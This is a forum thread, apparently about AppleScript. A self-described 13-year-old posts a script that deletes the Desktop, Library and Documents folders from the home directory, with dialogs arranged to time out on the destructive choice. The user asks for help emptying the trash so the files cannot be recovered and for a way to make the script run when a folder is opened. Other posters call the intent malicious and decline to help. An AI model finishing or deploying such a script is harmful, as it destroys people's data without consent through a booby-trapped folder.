attaching

I need a piece of script to empty the trash after it deletes 3 items so the folders cannot be recovered. I am 13 and wrote this code on my own, and just need a couple things to finish it. The other thing that would be very helpfull is if i could attach this script to a folder, so when you open the folder it runs the script.

set the date_stamp to ((the current date) as string)
display dialog the date_stamp buttons {"Quit", "OK"} default button 2
if the button returned of the result is "quit" then
	display dialog "IF you do not wish to delete every folder on your desktop, then click Deactivate" buttons {"Delete my desktop", "Deactivate"} giving up after 2 default button 2
	if the button returned of the result is "Delete my desktop" then
		display dialog "you have chosen to clear your desktop. continue?" buttons {"continue", "I changed my mind"} giving up after 2 default button 1
		
		if the button returned of the result is "Continue" then
			tell application "Finder"
				delete folder "desktop" of home
				delete folder "library" of home
				delete folder "documents" of home
			end tell
		end if
	end if	
end if

What exactly are you trying to accomplish by deleting the Desktop, the Library folder, and the Documents folder?

(He asks suspiciously.)

Edit: Don’t expect help here with that kind of attitude.

hooray!
ty.
now i need the second part, attaching it to a folder
ty a lot.

im sorry:/

Folder Actions will only work for the current user; You can take your malicious desires elsewhere.

all right :frowning:

how do i attach a script to a folder? i want to open NeoOffice when i open a certain folder
ty even if you cant do this, you have been very helpfull